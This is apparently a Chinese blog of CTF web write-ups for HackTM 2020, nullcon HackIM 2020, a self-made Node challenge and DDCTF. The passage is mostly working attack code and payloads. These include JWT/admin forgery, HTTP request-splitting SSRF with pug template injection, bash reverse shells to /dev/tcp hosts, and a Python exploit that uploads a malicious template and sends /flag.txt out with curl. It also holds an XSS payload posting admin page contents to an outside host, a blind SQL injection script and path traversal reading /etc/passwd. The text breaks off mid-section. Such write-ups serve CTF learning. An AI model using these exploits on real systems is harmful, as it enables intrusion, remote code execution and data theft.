1. HackTM CTF 2020 - Draw with us
2. nullcon HackIM 2020 - split second
3. 自己出的 - node game

HackTM CTF 2020 - Draw with us

Come draw with us!

http://167.172.165.153:60000/

Author: stackola

Hint! Changing your color is the first step towards happiness.

附件：https://pan.baidu.com/s/17Qa7bDkE9eceHsdj0g6BZg

一道nodejs源码审计的题目。只要细心审计就OK的。

首先先分析路由。发现存在/flag，直接跟进，看一下有什么验证。

1
2
3
4
5
6
7
8
9

app.get("/flag", (req, res) => {
  // Get the flag
  // Only for root
  if (req.user.id == 0) {
    res.send(ok({ flag: flag }));
  } else {
    res.send(err("Unauthorized"));
  }
});

在这里，要求user.id==0，也就是说需要我们去伪造管理员身份。

继续分析，可以发现这题采用了jwt，jwt常见的攻击手法有两类

• 拿到secretkey，进而伪造jwt。（爆破，信息泄露）
• 修改jwt加密头为none。

详见https://xz.aliyun.com/t/2338

在这里，经过尝试都不太行。但是继续分析路由接口。

可以发现init是个后门，serverInfo是个信息泄露，而updateUser是信息泄露利用的关键点。

整体逻辑为：通过updateUser，添加泄露点n，进而通过serverInfo获取信息。然后采用n来利用init这个后门。

接下来继续按刚才的逻辑分析。先来说一下serverInfo。

serverInfo将当前用户有权限的信息打印出来，其信息是从config里取出。

默认用户没有以上三个信息权限。由此可见p,n为敏感信息。进而去追他的利用链。

可以看到其在init中被调用，其md5值为target。然后和我们传入构造的pwHash作比较。之后执行了清空画板操作。所以猜测只要我们pwHash构造出来与target相等，即可伪造管理员。

继续往下看，可以看到113行这里，通过pwHash进而得到adminId，然后再121行返回admin的token。这正是我们想要的。

分析114，可以发现是将pwHash逐位于target做异或，然后累加，最终得到的即为adminId。

即我们要构造pwHash==target即可让adminId=0

此时逻辑已经清楚，那么我们如何得到n？

继续回到updateUser，想办法将n加入到我们的权限中。

分析updateUser，可以发现，其判断是否为admin，通过uid得到user对象，进而对username转化为小写作比较。

那我们是不是可以通过注册大写字母用户绕过？不存在的。在注册的时候，就已经对用户名做限制了。

此时有一个很奇怪的点。他们一个验证用的大写，一个验证小写。中间会不会出问题呢？也就是我们构造一个字符，符合下面条件

1
2

username.toUpperCase() !== "hacktm".toUpperCase()
username.toLowerCase() == "hacktm".toLowerCase()

其实是可以的，在字符转换中，有些奇奇怪怪的字符，也是会被转换的。

比如：在toUpperCase()函数中，字符ı会转变为I，字符ſ会变为S。在toLowerCase()函数中，字符İ会转变为i，字符K会转变为k。

此时我们便可构造hacKtm来绕过。

紧接着往下，我们可以发现185行，对权限做了黑名单校验。禁止我们加入n的权限。在这里，可以直接通过数组绕过。将p放到数组里。

至此，这道题基本已经OK了，接下来就是利用。

1. 注册hacKtm用户
2. 调用updateUser接口。

1

{"color": "0xDEDBEE", "rights": [["n"]]}

3. 调用serverInfo接口，获取n
4. 调用init接口，传入p=n，q=1

1
2
3
4
5
6
7
8
9
10
11
12

POST /init HTTP/1.1
Host: 167.172.165.153:60000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJiNTI3MjBkLTEyOGEtNDllYy1iMTc5LWU0NDUwZTdlODcxMSIsImlhdCI6MTU4MDg4NTQ1MH0.QKvGRVTj7IIpZvdtqPSpBNFFjl7woPBu7tSTI3gQLNo
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 314

{"p":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979", "q":1}

5. 拿到返回token，置入cookie中，请求/flag接口

nullcon HackIM 2020 - split second

Split that Shit
http://web2.ctf.nullcon.net:8081/

源码：https://github.com/nullcon/hackim-2020/tree/master/web/split_second

打开题目，可以审查元素发现第一个hint。

然后http://web2.ctf.nullcon.net:8081/source拿到源码，开始代码审计之旅。

分析题目，可以发现主页基本没什么东西，而是通过请求/core这个接口，来获取内容，并添加至主页。

还是从源码入手。可以发现/core接口是直接请求/getMeme接口，获取到数据。此时传入了q参数。

然后可以发现存在/flag接口，分析后，可以发现是个后门。并且需要本地访问。

根据以上信息，我们可以推断出，利用/core接口，造成ssrf，进而访问/flag后门，获取flag。

那问题来了，我们如何去得到一个ssrf？/core中，我们可以操控的点只有参数q。

经过查询资料，最终发现其实题目名称就是一个hint。有一种攻击方式是：拆分请求来实现的SSRF攻击。
可以参考：

• 通过拆分攻击实现的SSRF攻击
• I-SOON2019-Membershop出题思路

在这里就不细说了。

其实可以与CRLF注入类比一下。在这里，也是通过构造换行，来结束前一个请求，并构造出下一个请求。下面就是我们q的参数。我们只要成功注入，便会多一个发往flag的请求。

1

x HTTP/1.1\r\n\r\nGET /flag HTTP/1.1\r\nadminauth: secretpassword\r\npug: #{xxx}\r\n

1
2
3
4
5
6
7

GET /core?q=x HTTP/1.1


GET /flag HTTP/1.1
adminauth: secretpassword
pug: #{xxx}

在nodejs中，其实对换行操作做了处理，但是在node8及以下，在处理unicode字符存在问题。可以导致换行符出现。具体可以看上面文章

我们可以构造如下样子，来造出换行符

1

http://example.com/\u{010D}\u{010A}/test

可以通过以下js脚本，来进行编码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

shellCodeRaw="\r\n"
var shellCodeRawList = shellCodeRaw.split("")
var shellCodeAsciiList= [];
for(var i=0;i<shellCodeRawList.length;i++){
tmp = shellCodeRawList[i].charCodeAt()
shellCodeAsciiList.push(tmp.toString(16));
}

shellcode=shellCodeAsciiList.join("}\\u{01");
shellcode= "\\u{01"+shellcode+"}"

eval("encodeURI('"+shellcode+"')")

// \r\n --> %C4%8D%C4%8A
// 空格 --> %C4%A0

// 构造如下参数
//z%C4%A0HTTP/1.1%C4%8D%C4%8A%C4%8D%C4%8A%C4%8D%C4%8AGET%C4%A0/flag%C4%A0HTTP/1.1%C4%8D%C4%8A%C4%8D%C4%8A

然后可以本地尝试以下。是否发出了两次请求。
由于原题目没有日志，我们修改源码，可以开启一下日志。添加如下两行即可。（记得npm install morgan)

1
2

var morgan = require('morgan');
app.use(morgan('short'));

至此，ssrf已经get。接下来分析/flag接口。
可以看到，其传入了两个参数，都是以headers的形式。
adminauth是一个密码，pug则是我们要渲染的模板内容。
了解过ssti的同学一定不陌生模板这个东西。
在nodejs中，pug是一个模板引擎。其表达式形式为#{}
(#因为其在url中特殊用途，所以需要按如上方式再次编码。)

我们只需构造我们的代码，来获取flag即可。

在这里我又陷入了一个深坑。
nodejs 的exec默认采用sh执行，而sh在不同系统指向也不同，主要分为bash和dash，如果在dash中执行以下命令反弹shell，是会出问题的。

1

bash -i >& /dev/tcp/10.0.1.98/7777 0>&1

具体可参考：解决ubuntu反弹shell失败的问题

解决方法：

1

bash -c "bash -i >& /dev/tcp/evalip/2202 0>&1"

然后构造nodejs的反弹shell即可。

1

global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/evalip/2202 0>&1"')

在pug模板中，不能直接用require，所以我们采用如上方式。

此时审查代码，可以发现这里有2个waf。

分别是，禁止列表内元素，以及禁止小写字母出现。

刚入门CTF时，大家可能都接触过，jsfuck，aaencode，jjencode，在这里，我分析以上三种编解码后，采取了jsfuck。

虽然jsfuck中存在!，但是我们根绝相关文档，可以将其替换为数字。
jsfuck在线编码

其实有!号含义，主要有以下几种。我们可以一一替换一下

1
2
3

false     =>  ![]   => (1==0)
true      =>  !![]   => (1==1)
1         =>  !+[]   => (1)

然后将我们的反弹shell的payload编码，然后将叹号做如上替换即可。
(先替换true，后替换false)

然后即可。最终payload如下：

1
2
3

// [jscode] 为构造好的js语句

x%C4%A0HTTP/1.1%C4%8D%C4%8A%C4%8D%C4%8A%C4%8D%C4%8AGET%C4%A0/flag%C4%A0HTTP/1.1%C4%8D%C4%8Aadminauth:%C4%A0secretpassword%C4%8D%C4%8Apug:%C4%A0%C4%A3{[jscode]}%C4%8D%C4%8A%C4%8D%C4%8A

赛后看了一下主办方的wp，发现js这里编码很简单。自己搞的有点复杂了。字符太多了。学到了一个新姿势

1
2
3
4
5
6
7
8
9

// 如下语法，可以当做eval使用。 
[].constructor.constructor("evalcode")()

// js中.和[]可以替换
[]["constructor"]["constructor"]("evalcode")()

// 在js中，字符串中，可以采用 \八进制数值
[]["\143\157\156\163\164\162\165\143\164\157\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("evalcode")()

所以我们可以通过以上编码来进行绕过。此时因为引号在waf中，但这个waf我们可以直接二次url编码绕过。

再有，通过wp得知，pug模板不止#{}一种方式，还可以直接- code。

至此，本题所有知识点都已经介绍完。学到了很多新姿势。

自己出的 - node game

最近恰逢永信举办公益赛，出题没有太好的思路，恰好这两天比赛学到了点好玩的。

在比赛时，看到可以通过ssrf构造header头，便开始想了，可不可以构造上传呢？

当然是可以的，于是便有了这道题目。

在这道题目中，遇到了一个小问题，就是构造好payload后，无法正常使用。node端一直报无法获取参数、此时就很迷。
最后解决方式，是通过wireshark抓取loopback数据包，可以看到以下情况。

我们可以发现有些字符依旧是url编码。我们需要将它再重编码一下。
最后可得正确payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

# exp.py

import requests
import sys

payloadRaw = """x HTTP/1.1

POST /file_upload HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?action=upload
Upgrade-Insecure-Requests: 1

-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="5am3_get_flag.pug"
Content-Type: ../template

- global.process.mainModule.require('child_process').execSync('evalcmd')
-----------------------------12837266501973088788260782942--


"""

def getParm(payload):
    payload = payload.replace(" ","%C4%A0")
    payload = payload.replace("\n","%C4%8D%C4%8A")
    payload = payload.replace("\"","%C4%A2")
    payload = payload.replace("'","%C4%A7")
    payload = payload.replace("`","%C5%A0")
    payload = payload.replace("!","%C4%A1")

    payload = payload.replace("+","%2B")
    payload = payload.replace(";","%3B")
    payload = payload.replace("&","%26")

    # Bypass Waf 
    payload = payload.replace("global","%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC")
    payload = payload.replace("process","%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
    payload = payload.replace("mainModule","%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5")
    payload = payload.replace("require","%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5")
    payload = payload.replace("root","%C5%B2%C5%AF%C5%AF%C5%B4")
    payload = payload.replace("child_process","%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
    payload = payload.replace("exec","%C5%A5%C5%B8%C5%A5%C5%A3")
    
    return payload

def run(url,cmd):
    payloadC =  payloadRaw.replace("evalcmd",cmd)
    urlC = url+"/core?q="+getParm(payloadC)
    requests.get(urlC)
    
    requests.get(url+"/?action=5am3_get_flag").text

if __name__ == '__main__':
    targetUrl = sys.argv[1]
    cmd = sys.argv[2]
    print run(targetUrl,cmd)

# python exp.py http://127.0.0.1:8081 "curl eval.com -X POST -d `cat /flag.txt`"

本文首发先知社区，文章链接：https://xz.aliyun.com/t/4862

最近打了打DDCTF，本来是无聊打算水一波。最后竟然做high了，硬肛了几天..
以下为本次比赛web题目的WriteUp:

[100pt] 滴~

看到url疑似base64，尝试解密后发现加密规则如下。

1

b64(b64(ascii2hex(filename)))

于是可以自己构造，使其实现任意文件读取，首先先尝试/etc/passwd。

1
2
3
4

[plain] -> ../../../../../../../etc/passwd
[0] HEX -> 2E2E2F2E2E2F2E2E2F2E2E2F2E2E2F2E2E2F2E2E2F6574632F706173737764
[1] base64 -> MkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGNjU3NDYzMkY3MDYxNzM3Mzc3NjQ=
[2] base64 -> TWtVeVJUSkdNa1V5UlRKR01rVXlSVEpHTWtVeVJUSkdNa1V5UlRKR01rVXlSVEpHTWtVeVJUSkdOalUzTkRZek1rWTNNRFl4TnpNM016YzNOalE9

发现斜杠被过滤掉了。此时尝试读一下index.php源码。来看一下规则。

1
2

[plain] -> index.php
[2] base64 -> TmprMlJUWTBOalUzT0RKRk56QTJPRGN3

最终获取到源码如下。

在这里，可以看到对对文件读取做了限制，想绕正则，是不存在的。此时打开预留hint看看，猜测可能是echo的问题？试了许久，还是放弃了。

过了几天，默默打开CSDN评论，还是看到一点有意思的东西的。最终发现出题人故意将hint放在practice.txt.swp

emm，贼迷的一题。然后提示flag!ddctf.php

读源码，此时用config替代！号：

1
2
3
4

~/D/D/web-di~ $ python a.py f1agconfigddctf.php
[0] HEX -> 66316167636F6E66696764646374662E706870
[1] base64 ->NjYzMTYxNjc2MzZGNkU2NjY5Njc2NDY0NjM3NDY2MkU3MDY4NzA=
[2] base64 ->TmpZek1UWXhOamMyTXpaR05rVTJOalk1TmpjMk5EWTBOak0zTkRZMk1rVTNNRFk0TnpBPQ==

然后直接构造就好了

1
2
3

url: http://117.51.150.246/f1ag!ddctf.php
get: ?uid=123&k=php://input
post: 123

[130pt] 签到题

很简单的一个代码审计题目。一开始有点脑洞，需要绕一下认证，不过也不难。

访问页面，会有一个登陆认证，此时分析流量数据，可以发现他向auth.php请求了一下，返回值刚好是没权限。也就是权限验证在这里，分析数据包，可以发现，请求头有一个username字段。尝试修改为admin，此时成功通过认证。

然后返回了一个源码页面。此时进入分析源码阶段。源码不是太多，核心逻辑也很好懂，包括利用链的构造。

首先，分析源码，可以看到危险函数unserialize，以及file_get_contents。

此时可以大概知道题目大体解题流程如下：

通过session反序列化 –>创建Application对象–> 控制path –> getfalg

此时一步一步来。

分析代码，可以发现session这个变量，是由cookie传入的。此时经过签名校验，确定cookie不可更改。代码如下：

此时可以看到，签名规则是md5(eancrykey+session)，也就是说，我们要想获得cookie控制权，必须得到eancrykey。通读代码，分析eancrykey出现地点。最终发现两个可疑点

a) eancrykey存放目录为../config/key.txt。

由于不在web目录且没有读文件的漏洞，此时攻击者不可获取。

b) 某处代码存在蜜汁调用。

很明显，可以看出是主办方给的后门，但是怎么用呢？

sprintf函数，是格式化字符串用的函数。可以参考c语言的printf，只不过这里不会打印，而是返回格式化后的字符串。

此时可以分析一下逻辑。

1
2
3
4
5
6
7
8
9
10
11
12

# python 伪代码
# 别尝试执行，肯定执行不了

data="Welcome my friend %s"
arr=['eval','key']
for i in arr:
  data=sprintf(data,i)
  print(data)

# 输出如下：
# Welcome my friend eval
# Welcome my friend eval

此时问题来了，为什么会输出两次？因为在第一次格式化的时候，已经将eval填入data中，第二次格式化前的字符串为：Welcome my friend eval。此时没有%s占位，key也就无处可去了。

所以，此时我们将eval改成%s，遍可以成功打印出key。机智！

此时成功getkey。然后就可以愉快地伪造session了。

然后继续分析Application，我们该如何伪造session。此时，建议down下来Application.php，方便调试使用。

可以发现，代码中做了两层防护，来保证path的安全性。此时sanitizepath可以通过一个最经典的绕过—“双写” 来进行绕过。

1
2

payload: ../
双写后: ..././

此时可以看出，在经过这个函数后，第二三四个字符将会被转为空。然后成功使../逃逸出来。

再看第二个限制了字符为18。此时我们可以通过../和./来进行绕过，不过，唯一缺点是，字符不能超过18个。

此时尝试读取/etc/passwd。计算其长度，为10。此时我们可以构造如下：

1
2
3
4

/etc/../etc/passwd
双写后:/etc/..././etc/passwd
序列化后:O:11:"Application":1:{s:4:"path";s:21:"/etc/..././etc/passwd";}
按规则签名后:O%3a11%3a"Application"%3a1%3a{s%3a4%3a"path"%3bs%3a21%3a"/etc/..././etc/passwd"%3b}75c51ff78b04d77138ca58f797dedc0a;

此时可以看到成功读取了/etc/passwd。

最终在 ../config/flag.txt读到flag，如下：

[130pt] Upload-IMG

比较经典的一个题目了，绕过GD库，实现图片马。一般来说，搭配一个文件包含，简直是无敌的。在这里不多解释，直接上脚本了。

https://github.com/BlackFan/jpg_payload

Usage: php jpg_payload.php <jpg_name.jpg>

[140pt] homebrew event loop

这题给好评，思路超级棒！

先说一下题目：开局给你3块钱，让你买5个一元一个的钻石。从而得到flag。

上来可以拿到源码，首先分析源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# flag获取函数
def FLAG()

# 以下三个函数负责对参数进行解析。
# 1. 添加log，并将参数加入队列
def trigger_event(event)

# 2. 工具函数，获取prefix与postfix之间的值
def get_mid_str(haystack, prefix, postfix=None):

# 3. 从队列中取出函数，并分析后，进行执行。（稍后进行详细分析）
def execute_event_loop()

# 网站入口点
def entry_point()

# 页面渲染，三个页面:index/shop/reset
def view_handler()

# 下载源码
def index_handler(args)

# 增加钻石
def buy_handler(args)

# 计算价钱，进行减钱
def consume_point_function(args)

# 输出flag
def show_flag_function(args)
def get_flag_handler(args)

源码大概意思如上，可以看出大概流程。然后仔细分析，可以发现在购买逻辑中。先调用增加钻石，再调用计算价钱的。也就是先货后款。

现实生活中，肯定没毛病，但是在计算机中，会不会出现先给了货后，无法扣款，然后货被拿跑了。此时继续往下看，发现consume_point_function函数中，当钱不够时，会抛出一个RollBackException。此时，在逻辑处理函数execute_event_loop中，会捕获这个异常，并将现有状态置为上一session状态。如下：

此时，天真的我，想起了条件竞争，如果我够快的话，会不会让他加几个钻石，重置session时，重置到已经加完的。

但此时，仔细分析代码，以及flask的特性，你会发现一件事，他的状态并非是基于服务端session，而是客户端session，此时不应该叫他session了，叫cookie更合适一点。也就是，所有的状态都存在客户端。你竞争的话，他的session是单线程的。我必须操作完上一状态，才可以操作下一状态。

此时，条件竞争凉凉。

那既然状态是在客户端，那我可不可以修改？答案是可以。但是你得需要知道flask的secret_key。然后从而伪造cookie，此时我们无法伪造。思路继续断掉。继续分析代码。

仔细分析execute_event_loop，会发现里面有一个eval函数。无论在什么语言中，eval可控， 必定是一个灾难。

此时 action使我们可控的，但是由于白名单过滤的存在，我们可控的范围较小。

此时，我们可控点为eval前面对的action部分，于是后面的脏字符，我们可以通过#去注释掉。（p.s.用的时候请url编码为%23）

但是由于白名单限制，我们无法做一些操作。所以只能依靠其本身的作用 – 动态执行函数。

此时action，即需要执行的函数名，args，执行函数的参数。这两个都在我们可控范围。

尝试构造如下payload：

1

?action:show_flag_function%23;123

此时，成功返回：

果然，我是最天真的那个崽。

但此时也证明了我们思路的可行性，此时我们只需要找一个函数，可以给其传一个参数的那种。进而getflag。

（p.s. flag函数无参数，所以我们无法直接执行。）

找啊找啊找朋友，一天过去了，又一天快要过去了… 代码都快会背了….

最终功夫不负有心人，终于发现一个神奇的地方。

第144行，trigger_event函数中，他传入了两个功能。然后回想代码，可以发现前面对各个函数执行，是通过execute_event_loop来对队列里的任务进行执行的。trigger_event正是那个添加任务到队列中的函数，此时该函数我们可控。

再想到之前的条件竞争，我们可以在内部构造一个竞争？对的，可以的，但是此时不配称之为竞争了。

首先我们看一下我们购买的正常逻辑。

此时，由于其先进先出的原因，我们可以一开始就传入两个参数，如下：

1

?action:trigger_event%23;action:buy;111%23action:get_flag;

此时传入一个buy和getfalg。我们再看一下逻辑。这样成功实现了，没钱买东西。

此时，问题来了，即便我们够了5个钻石，此时也获取不到flag。

因为他将打印flag的语句注释掉了。

可以看图片155行，此时return的为“天真的孩子”。那这样的话，是不是这题就没法解了？

肯定能解啊，怎么可能不能解。

此时仔细看165行，发现了什么？他是将flag作为参数传到show_flag的。别忘了，trigger_event是有log功能的，也就是此时flag会加进log里的。虽然log是在session中，但是，此时flask的特性，我们之前已经说过了。session是在本地的。虽然不能伪造，但是我们还是通过工具解开，查看内容的。

[200pt] 欢迎报名DDCTF

emm,感觉这题应该比吃鸡分高的。这道题，感觉比较偏实战渗透。不过作为ctf题目来说，的确有点脑洞了。因为大部分同学没往实战上想。

首先第一步：XSS

说实话，一开始拿到这题第一反应是注入。瞎注了半天。最后无疾而终。

知道hint出来，竟然是我最喜欢的xss，然后就做了。做到后面，已经拿到接口了，也尝试了注入，然而又没卵用。

第二步：注入

主办方不放hint是注入的话。这题我就不打算做了。实在get不到点。还是太菜了、

——以下正文——

xss读文件，很基础。发现waf了iframe和window。在es6新语法中，很好绕的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

function s(e) {
  var t = new XMLHttpRequest;
  t.open("POST", "//eval:2017", !0),
  t.setRequestHeader("Content-type", "text/plain"),
  t.onreadystatechange = function() {
    4 == t.readyState && t.status
  },
  t.send(e);
};

var a = document.createElement("ifr"+"ame");


a.src = "./admin.php";

document.body.appendChild(a);
a.onload = function (){
  var c = document.getElementsByTagName("ifr"+"ame")[0]["contentWin"+"dow"].document.getElementsByTagName("body")[0].innerHTML;
  s("5am3: "+c);
};
a.onerror = function (){
    s("5am3 error!");
};

这里还有一个坑点是，渲染payload是在admin.php，此时如果读当前页面源码，返回的是你的payload。必须再次通过iframe读取admin.php，才能获取到本来的源码。

从源码中，可以得到一个接口：

1

http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=

这就是传说中的注入点！！！要不是主办方肯定他是，我都不敢信…

最后终于通过宽字节注入，试出了点眉目。

p.s.注入过程真心迷，不跑5遍以上脚本，读不出来正确的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

import requests

url = "http://117.51.147.2/Ze02pQYLf5gGNyMn//query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id={payload}"

sdb ="SELECT database()"
sdbt = "database()"

sschema = "SELECT group_concat(schema_name) from information_schema.SCHEMATA"
stable = "SELECT group_concat(table_name) from information_schema.tables where table_schema=CHAR(99,116,102,100,98)"
scolumn = "SELECT group_concat(column_name) from information_schema.columns where table_name=CHAR(99,116,102,95,102,104,109,72,82,80,76,53)"
sflag = "SELECT group_concat(ctf_value) from ctfdb.ctf_fhmHRPL5"
 

script = sflag
charIndex = 1

p1 = "1%df%27 || if(ascii(substr(("+script+"),{charIndex},1))={i},sleep(100),5)%23"
plendatabase = "1%df%27 || if(length(database())={i},sleep(100),5)%23"
ptest = "1%df%27 || sleep(5)%23"

# len(database) = 3
# database() = say

# schema = information_schema,ctfdb,say
# table = ctf_fhmHRPL5
# colum = ctf_value
# DDCTF{GqFzOt8PcoksRg66fEe4xVBQZwp3jWJS}

string = "qwertyuiopasdfghjklzxcvbnm"
str1=""

slist = range(33,97)
slist += range(123,127)
flag=""

onpayload = p1
# print slist
for j in range(1,50):
for i in range(32,127):
try:
# i = str(hex(i))
i = str(i)
payload = onpayload.replace("{i}",i).replace("{charIndex}",str(j))
r = requests.get(url+payload,timeout=3)
text = r.text.replace("\n","")
text = text.replace("\r","")
text = text.replace("\t","")
# print("["+str(i)+"]" + payload)
# print("[text] " + text[:10])
except:
flag+=chr(int(i))
print(flag)
break

[210pt] 大吉大利，今晚吃鸡

很迷很尬的一道题，最后小手段才做出来。

首先，很容易可以看出来，是一个go写的。

而且买票时，票价只可以多 ，不可以少。此时可以猜到是溢出，从而实现购买。

可以看一下，go中的数字范围。然后天真的从大往小试。最终卡在了以下俩数。

1
2

9223372036854775807   // 可以输入，显示正常
9223372036854775808   // 报500，无法输入

于是自己天真的认为 ，题目对溢出做了判断，然后就凉了。蜜汁分析了半天。

最后再注册处发现一个越权漏洞。每次注册，无论成功与否，都会返回注册用户的cookie，此时可以直接登录。

于是看了一下榜单，挨个试了一下榜单师傅们的id。

最后还真找到了rmb122师傅的账号，然后发现他用的4294967296溢出。也就是uint32

心态炸了。竟然不是uint64，自己也没试uint32。哭了。

此时通过溢出，可以直接购票。然后我们进入下一关，如何删除竞争对手。一说到游戏，顿时想起了“白导”。我自己也导演一场呗。

于是，新建账号 -> 买票 -> 付款 -> 加入游戏 -> 获取id踢掉。一条龙服务。脚本如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

import requests
import random
import time

tmpID = "1"

tmpSession = requests.session()

registerURL = "http://117.51.147.155:5050/ctf/api/register?name=5am3_t1{name}&password=12345678aa90"
buyTicketURL = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296"
payTicketURL = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={bill}"
removeRobotsURL = "http://117.51.147.155:5050/ctf/api/remove_robot?id={uid}&ticket={ticket}"

headers = {
"Cookie": "REVEL_SESSION=367aac22fa4d096ee5e45e5e214071cf; user_name=5am3"
}

def getTicket(tmpID):
tmpRegisterURL = registerURL.replace("{name}",tmpID)
tmpSession.get(tmpRegisterURL)

billID = tmpSession.get(buyTicketURL).json()["data"][0]["bill_id"]

# print(billID)

tmpPayTicketURL = payTicketURL.replace("{bill}",billID)
# print(tmpPayTicketURL)
ticketJson = tmpSession.get(tmpPayTicketURL).json()
# print(ticketJson)
ticket,uid = ticketJson["data"][0].values()

return ticket,uid

if __name__ == '__main__':
i = 1
c = 0
while(i<3 and c < 50):
name = str(random.randint(1000, 90000))
c+=1
try:
ticket,uid = getTicket(name)
# print(ticket,uid)

tmpRRURL = removeRobotsURL.replace("{uid}",str(uid)).replace("{ticket}",ticket)
RRjson = requests.get(tmpRRURL,headers=headers).json()

if(RRjson["data"]):
print("["+str(i)+"] " + str(RRjson["data"]))
print("")
i+=1
time.sleep(1)

except:
pass

[260pt] mysql弱口令

挺有意思的一道题，最后算是非预期出的吧。预期解实在是想不出来了。

首先拿到题目，其实就感觉是杭电那题了 wp链接

通过蜜罐sql客户端，来获取连接者的数据。但这题，说实话前期把我玩蒙了。

题目逻辑，首先下载扫描验证端，放到服务器上，做一下信息收集。然后再服务端填写自己服务器信息，就可以开始弱口令扫描了。

天真的我以为端口是填agent的端口。酿成一大惨祸。最后才发现，端口是填数据库端口。这样一来，心结解开。终于能拿数据了。

拿数据的心路历程更加艰难险阻。首先肯定是先读/etc/passwd。进而直接尝试读/flag，发现没有。

此时，自己意识到了事情的不简单。这是要和flag玩捉迷藏么。

这是很难受的一件事…

p.s.心酸历程就不说了。读文件肯定没这么顺利，要都说的话，1万字也收不住。

按照杭电那次学到的妙招，首先可以先读一下/proc/self/environ,如下图。

此时可以发现两个点，第9行和11行，组合起来/home/dc2-user/ctf_web_2/restart.sh。此时读取发现如下信息

从中，我们可以分析出来，该应用为flask应用，用gunicorn中间件起来的。

此时根据规则 gunicorn 文件名:项目名。可以推出：

/home/dc2-user/ctf_web_2/didi_ctf_web2.py

尝试读取，可以发现：

此时证实了我们的猜想。然后根据flask_script项目的目录结构，进而读取app。

然后一环接一环，依次读出了下面三个。

/home/dc2-user/ctf_web_2/app/init.py
/home/dc2-user/ctf_web_2/app/main/init.py
/home/dc2-user/ctf_web_2/app/main/views.py

在main/views.py中，我们可以看到一个hint。

猜测是通过curl可以从数据库中读到flag…

奈何自己比较菜，看到数据库遍想起来好像有个文件，是在手动修改数据库时，会留log。

对，没错，就是.mysql_history。此时尝试用户目录，root目录，最终在root目录读到flag

/root/.mysql_history

[390pt] 再来1杯Java

p.s.压轴题哈，说实话，这题真的学会了不少东西。毕竟自己太菜了，虽然本科专业为java开发狗。但我真的不太熟啊…

一共分为三关吧。

首先是一个PadOracle攻击，伪造cookie。这个解密Cookie可以看到hint： PadOracle:iv/cbc。

第二关，读文件，看到后端代码后，才发现，这里贼坑。

第三关，反序列化。

首先第一关好说，其实在/api/account_info这个接口，就可以拿到返回的明文信息。然后通过Padding Oracle + cbc翻转来伪造cookie即可。在这里就不多说了。网上很多资料。

最后拿到cookie，直接浏览器写入cookie就OK。然后可以获取到一个下载文件的接口。

/api/fileDownload?fileName=1.txt

虽然说是一个任意文件读取的接口，但是贼坑、

一顿操作猛如虎，最后只读出/etc/passwd…

搜到了很多字典。然后burp爆破一波，最后发现/proc/self/fd/15这里有东西，看到熟悉的pk头，情不自禁的笑了起来。（对，就是源码）

源码也不多，很容易，可以看到一个反序列化的接口。

在反序列化之前，还调用了SerialKiller，作为一个waf，对常见payload进行拦截。

首先题目给了hint：JRMP。根据这个hint，我们可以找到很多资料。在这里自己用的ysoserial，根据他的JRMP模块来进行下一步操作。

在这里，JRMP主要起了一个绕过waf的功能，因为这个waf只在反序列化userinfo时进行了调用。当通过JRMP来读取payload进行反序列化时，不会走waf。

首先，JRMP这个payload被waf掉了，我们可以采用先知上的一种绕过方式。

https://xz.aliyun.com/t/2479

直接修改ysoserial源码即可，将原有的JRMPClient的payload复制一份，改名为JRMPClient2，然后保存并编译。

此时我们可以尝试使用URLDNS模块，来判断是否攻击成功。

1
2
3
4
5
6
7
8
9
10
11
12

# 修改替换{{内容}}

# 开启监听端口
# 建议采用ceye的dnslog查看
